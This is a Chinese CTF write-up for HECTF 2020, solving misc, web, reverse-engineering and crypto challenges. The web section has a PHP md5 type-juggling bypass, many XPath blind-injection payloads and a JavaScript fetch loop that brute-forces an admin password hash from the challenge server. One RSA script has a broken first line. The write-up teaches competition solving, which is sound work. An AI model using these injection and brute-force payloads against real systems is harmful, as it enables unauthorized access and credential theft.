HECTF 2020 Writeup

Misc

【真签到题】快来看直播啦~

打开直播间,即可在直播画面内找到flag

因此flag为 HECTF{狮虎萌轻一点打出题人好吗嘤嘤嘤}

png

下载得到一张小猫咪,查看文件末尾如下

1
2
3
0013a720: 6A 00 00 00 00 49 45 4E 44 AE 42 60 82 4D 32 49    j....IEND.B`.M2I
0013a730: 33 4F 57 4A 6B 5A 6A 68 6D 59 32 5A 6B 4E 54 56 3OWJkZjhmY2ZkNTV
0013a740: 6D 5A 48 30 3D mZH0=

使用base64得到 3b79bdf8fcfd55fd} 于是猜测这是一个md5的后半部分,使用somd5查询得到散列方法为 substr(md5($pass)),16,16) ,原文为 dsdfas ,因此正向计算md5为 94ed7fdae8f504743b79bdf8fcfd55fd

因此flag为 flag{94ed7fdae8f504743b79bdf8fcfd55fd}

不说人话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
!.!!! !!!!. !!!!! .?... ..... .!?!! .?... ..... ?.?!. ?..!. ?.... ...!?
!!.?! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ....! ?!!.? ..... .....
....? .?!.? ..... ...!. ?.... ..... ....! ?!!.? !!!!! !!!!! !!?.? !.?!!
!!!!! .?... ....! ?!!.? !!!!! !?.?! .?!!! !!!!. ?.... ..... !?!!. ?!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!!! !!.?.
..... ..... ..!?! !.?!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!!!! !!!!! !!.?.
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ...!. ?.... .....
!?!!. ?!!!! !!!!? .?!.? !!!!! !!!!. ..... ...!. ?.... ...!? !!.?. .....
?.?!. ?.... ..... ...!. ..... ..... ....! .!!!! !!!!! !!!!! !!!!! .....
....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!!
!.?.. ..... ..... .!?!! .?... ..... ....? .?!.? ..... ..... ..... .....
..!.? ..... ..... ...!? !!.?! !!!!! !!!!! !?.?! .?!!! !!.!! !!!!! !!!!!
!!!!! ..... ..!.? ..... ..... ..... !?!!. ?.... ..... ..... ?.?!. ?....
..... ..... ....! .?... ....! ?!!.? !!!!! !?.?! .?!!! .!!!! !!!.? .....
..... ..... !?!!. ?!!!! !!!!! !!!!! ?.?!. ?!.?. ..... ..... ..... .!?!!
.?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... !.?.

替换后使用Ook解码即可得到flag

因此flag为 HECTF{TH1s_1s_crypt0_914nda0}

Web

【BOOM】ezphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php  
error_reporting(0);
highlight_file(__file__);
include('flag.php');
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];

if($_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['param2'])){

if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo $flag;
}
}
else {
die("md5 is wrong");
}
}
else {
die('str1 not number');
}
}

?>

第一层 $_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['param2'])
只需构造 error === error 即可

第二层就是找两个0e的md5在弱类型判断的时候相等,但是一开始还不能相等,需要在替换后相等
根据 $a = strtr($md5_1, 'cxhp', '0123'); 只需找到一个以 c 开头的纯数字md5,第二位是 e 即可

因此payload为 param1[]=1&param2[]=2&str1=9427417&str2=QNKCDZO

因此flag为 hectf{b0c65ccf32a96a1f8dc3326f16ed4498}

injection

使用XPath盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
'or count(/)=1  or ''=' # 根节点数量为1
'or count(/*)=1 or ''=' # 根节点下只有一个子节点
'or string-length(name(/*[1]))=8 or ''=' # 判断根节点下的节点长度为8

# 猜解根节点下的节点名称为 root
'or substring(name(/*[1]), 1, 1)='r' or ''=' # r
'or substring(name(/*[1]), 2, 1)='o' or ''=' # o
'or substring(name(/*[1]), 3, 1)='o' or ''=' # o
'or substring(name(/*[1]), 4, 1)='t' or ''=' # t

'or count(/root)=1 or ''=' # root节点数量为1
'or string-length(name(/root/*[1]))=5 or ''=' # 节点长度为5
'or substring(name(/root/*[1]), 1, 1)='u' or ''=' # u
'or substring(name(/root/*[1]), 2, 1)='s' or ''=' # s
'or substring(name(/root/*[1]), 3, 1)='e' or ''=' # e
'or substring(name(/root/*[1]), 4, 1)='r' or ''=' # r
'or substring(name(/root/*[1]), 5, 1)='s' or ''=' # s

'or count(/root/users)=1 or ''=' # users节点数量为1
'or string-length(name(/root/users/*[1]))=4 or ''=' # 节点长度为4
'or substring(name(/root/users/*[1]), 1, 1)='u' or ''=' # u
'or substring(name(/root/users/*[1]), 2, 1)='s' or ''=' # s
'or substring(name(/root/users/*[1]), 3, 1)='e' or ''=' # e
'or substring(name(/root/users/*[1]), 4, 1)='r' or ''=' # r

'or count(/root/users/user)=3 or ''=' # user节点数量为3
'or string-length(name(/root/users/user/*[1]))=2 or ''=' # 第一个节点长度为2
'or string-length(name(/root/users/user/*[2]))=8 or ''=' # 第二个节点长度为8
'or string-length(name(/root/users/user/*[3]))=8 or ''=' # 第三个节点长度为8

'or substring(name(/root/users/user/*[1]), 1, 1)='u' or ''=' # u
'or substring(name(/root/users/user/*[1]), 2, 1)='d' or ''=' # d
'or count(/root/users/user/ud)=0 or ''=' # ud节点数量为0

'or string-length(name(/root/users/user/ud/text()))=0 or ''=' # ud节点内容长度为0

'or substring(name(/root/users/user/*[2]), 1, 1)='u' or ''=' # u
'or substring(name(/root/users/user/*[2]), 2, 1)='s' or ''=' # s
'or substring(name(/root/users/user/*[2]), 3, 1)='e' or ''=' # e
'or substring(name(/root/users/user/*[2]), 4, 1)='r' or ''=' # r
'or substring(name(/root/users/user/*[2]), 5, 1)='n' or ''=' # n
'or substring(name(/root/users/user/*[2]), 6, 1)='a' or ''=' # a
'or substring(name(/root/users/user/*[2]), 7, 1)='m' or ''=' # m
'or substring(name(/root/users/user/*[2]), 8, 1)='e' or ''=' # e

'or count(/root/users/user/username)=3 or ''=' # username节点数量为3
'or string-length(name(/root/users/user/username/*[1]))=0 or ''=' # 第一个节点长度为0

'or substring(/root/users/user/username/text(), 1, 1)='a' or ''='
'or substring(/root/users/user/username/text(), 2, 1)='d' or ''='
'or substring(/root/users/user/username/text(), 3, 1)='m' or ''='
'or substring(/root/users/user/username/text(), 4, 1)='i' or ''='
'or substring(/root/users/user/username/text(), 5, 1)='n' or ''='

'or count(/root/users/user/password)=3 or ''=' # password节点数量为3

'or substring(/root/users/user/password/text(), 1, 1)='3' or ''='
'or substring(/root/users/user/password/text(), 2, 1)='3' or ''='
'or substring(/root/users/user/password/text(), 3, 1)='9' or ''='
'or substring(/root/users/user/password/text(), 4, 1)='d' or ''='
'or substring(/root/users/user/password/text(), 5, 1)='b' or ''='
'or substring(/root/users/user/password/text(), 6, 1)='7' or ''='
'or substring(/root/users/user/password/text(), 7, 1)='1' or ''='
'or substring(/root/users/user/password/text(), 8, 1)='4' or ''='
'or substring(/root/users/user/password/text(), 9, 1)='6' or ''='
# 说明密码很长,手动尝试会累死
1
2
3
4
5
6
/root
/users
/user
/ud
/username
/password

使用如下代码爆破密码

1
2
3
4
5
6
7
8
let arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'];
for(let i=0; i<arr.length; i++)
setTimeout(()=>{
fetch(`http://114.55.165.246:8082/?username='or substring(/root/users/user/password/text(), 1, 1)= '`+arr[i]+`' or ''='&password=&submit=%E7%99%BB%E5%BD%95`).then(res=>res.text()).then(data=>{
if(data.includes('登录失败'))return;
console.log(arr[i], data);
})
}, i*100);

获取到的admin密码为 339db714647a1d66b85cd08442287841
使用其尝试登录,即可得到flag

因此flag为 flag{53142eb4-d227-47e4-a7e7-902f7359a079}

Reverse

Hello_Re

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+16h] [ebp-1Ah]

__main();
random();
puts("Oh no, this damn program is wrong again. Where on earth is Flag!!!\nMaybe you could ask Forgotten?");
scanf("%s", &v4);
if ( strlen(&v4) == 25 && judge0(&v4, 26) )
puts("Congratulations! You found the flag!");
else
puts("Oh no, you can go and wash sleep.");
return 0;
}

可知flag为25位,分析 judge0 可发现前缀和后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
signed int __cdecl judge0(_BYTE *a1)
{
signed int result; // eax

if ( *a1 != 67 )
goto LABEL_12;
if ( a1[1] != 84 )
return 0;
if ( a1[2] == 70 && a1[3] == 123 && a1[24] == 125 && judge1((int)a1) )
result = 1;
else
LABEL_12:
result = 0;
return result;
}
1
2
3
a[0~]: 67, 84, 70, 123
a[4~23] ?
a[24]: 125

因此flag模式应为

1
CTF{%s}

继续分析 judge1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
signed int __cdecl judge1(int a1)
{
signed int i; // [esp+Ch] [ebp-4h]
signed int j; // [esp+Ch] [ebp-4h]

for ( i = 0; i <= 25; ++i )
{
if ( *(_BYTE *)(i + a1) )
*(_BYTE *)(i + a1) ^= (_BYTE)i + 1;
}
for ( j = 0; j <= 25; ++j )
{
if ( *(char *)(j + a1) != arr[j] )
return 0;
}
return 1;
}
1
char arr[26] = {0x42, 0x56, 0x45, 0x7F, 0x32, 0x6E, 0x4E, 0x3D, 0x56, 0x3B, 0x78, 0x53, 0x4C, 0x4F, 0x50, 0x62, 0x74, 0x73, 0x7F, 0x4B, 0x73, 0x21, 0x56, 0x7F, 0x64, 0x00};

原来是异或运算,写个脚本直接跑出来就行了,根本不用看 judge0

1
2
3
4
5
6
7
8
9
10
#include <iostream>

int main(){
char arr[26] = {0x42, 0x56, 0x45, 0x7F, 0x32, 0x6E, 0x4E, 0x3D, 0x56, 0x3B, 0x78, 0x53, 0x4C, 0x4F, 0x50, 0x62, 0x74, 0x73, 0x7F, 0x4B, 0x73, 0x21, 0x56, 0x7F, 0x64, 0x00};
for(int i=0; i<25; i++){
arr[i] ^= i + 1;
}
std::cout<<arr;
return 0;
}

因此flag为 CTF{7hI5_1s_AA_real_f7Ag}

Crypto

在这里签到

1
U2FsdGVkX18DxoLgtTzVee++9JZw790ngjGfxdjjjeWt9m9jL2O3NJuKB//4O3BHTnelg2z+o2vE0AxVKPobIFVgKxqbpkr94XYPNZFbbFykHWBMArdVT8FuH7dyvHDrLe7D35p654UEy2Yn0FepbJ7BHcn9Gu9xg7eqVcovB6KfMivcXw49JyZWbWtb0SZKpA0hRgI2tNeQ8lsRZRkoaI9CECyphItxLd0bO58phQjv70M/e30tsFpEmPo=

使用Rabbit解码得到

1
R1E0RElOSlVHTTJUSU5CV0c1QkRHTkJUR01aVFFOUlRHWTJER05SVEdVWlRJTlJVR1laVEdPQlRHVTNES05SVkdZWlRHTkpUR0kzREdOUlZHWTJETU1KV0dJWlRJTVpaR1kyREdNWldHUVpURU5SV0dNM1RNTkpXR0UzVUk9PT0=

使用base64解码得到

1
GQ4DINJUGM2TINBWG5BDGNBTGMZTQNRTGY2DGNRTGUZTINRUGYZTGOBTGU3DKNRVGYZTGNJTGI3DGNRVGY2DMMJWGIZTIMZZGY2DGMZWGQZTENRWGM3TMNJWGE3UI===

使用base32解码得到

1
48454354467B34333863643635346463383565656335326365646162343964336432663765617D

使用base16解码得到

1
HECTF{438cd654dc85eec52cedab49d3d2f7ea}

因此flag为 HECTF{438cd654dc85eec52cedab49d3d2f7ea}

rsa

题目给出了 {n, e, c} ,使用factordb得到 {p,q} ,直接解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
from gmpy2 import *
from Crypto.Util.number import *

n = 11419768903339716189261532371559705252086398275876008505047375123074727093589680611869748263351554093957968142343831331654606932684767042958427409579115435445187908134556329979271179879129295667476493886787230948520371350715808988496083694717544298343260369816980228394498856751096191942011545898984240281874509791880690092840536597771674772617299407710771426964764347566008897012753022763270832647775571317162594044338095870404550665457899223394942640876850692848671826594750236910363027949459768124646230555766323417693441861436560072288812137944884954974348317322412816157152702695143094487806945533233359294549423
e = 65537
c = 575061710950381118206735073806398116370706587076775765253483131078316908073202143802386128272374323616239083134747318254436706806781744501903333604772961927966747648954315962269321297121495398057938617145017999482722197661065698707836824505023856306403892307944203245563411961302499347604417024064678999003637933185177922884103362203639349298263339808508185861692596967147081382566246627668898774233029198694500565511361867375668367875805985660705137109665107860799277624050210666866958502948062330037309873148963011192405012811945540153592090345668265964477204465327474208098404082920129178960510763496025906621820
p = 2499568793
q = 4568695582742345507136251229217400959960856046691733722988345503429689799935696593516299458516865110324638359470761456115925725067558499862591063153473862179550706262380644940013531317571260647226561004191266100720745936563550699000939117068559232225644277283541933064331891245169739139886735615435506152070330233107807124410892978280063993668726927377177983100529270996547002022341628251905780873531481682713820809147098305289391835297208890779643623465917824350382592808578978330348769060448006691307027594085634520759293965723855183484366752511654099121387261343686017189426761536281948007104498017003911

d = invert(e, (p-1) * (q-1))
flag = long_to_bytes(pow(c, d, n))

print(flag)

因此flag为 flag{8fb873baba0df4a6423be9f4bd525d93}

【BOOM】easyrsa

1
2
3
4
5
from secret import flag
n = 155518463830560229644846724430836428995845620193574592170433241574666037137716528324571815369167049698698516255775616801764899976254095759074631817355320858739910069040009294893001147604941091673096339767232941480642397698104905644129961998649010457389845481973721204305241567277478343102339335893707164544801
e = 0x20002
c = pow(flag, e, n)
#c:69775954010477827342655007357413905879265207201140046408669586721885526123784907133716642304622235420317538384169817488136355157658329703705226141938991105912868209447036610553660972001461632840370922684108791263764483626927583087998066070299767122268085587208956687449243493403662943691619787801332549149107

使用yafu爆破出p和q然后编写脚本直接解密即可,需要注意 gcd(e, phi) == 2 ,我们只需要构造出 m^(2*0x10001*b) mod n 即可,其中有 0x1001*b = 1 mod phi 然后对得到 m^2 mod n 开平方根,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
p = from gmpy2 import *
from Crypto.Util.number import *

p = 12470704223521630361963826771946763220892587623191431207923413178791149916874153397100361890510496084700189763294677638398021009427510131598570281465633547
q = 12470704223521630361963826771946763220892587623191431207923413178791149916874153397100361890510496084700189763294677638398021009427510131598570281465633283
e = 0x20002
c = 69775954010477827342655007357413905879265207201140046408669586721885526123784907133716642304622235420317538384169817488136355157658329703705226141938991105912868209447036610553660972001461632840370922684108791263764483626927583087998066070299767122268085587208956687449243493403662943691619787801332549149107
n = p * q
d = invert(e//2, (p-1) * (q-1))
M = pow(c,d,n)
assert iroot(M,2)[1] == True
flag = iroot(M,2)[0]
print(bytes.fromhex(hex(flag).strip("0xL")))

因此flag为 HECTF{ee709277385739acecbf0ebb06f0717b}

作者

吉吉

发布于

2021-02-23

更新于

2022-12-10

许可协议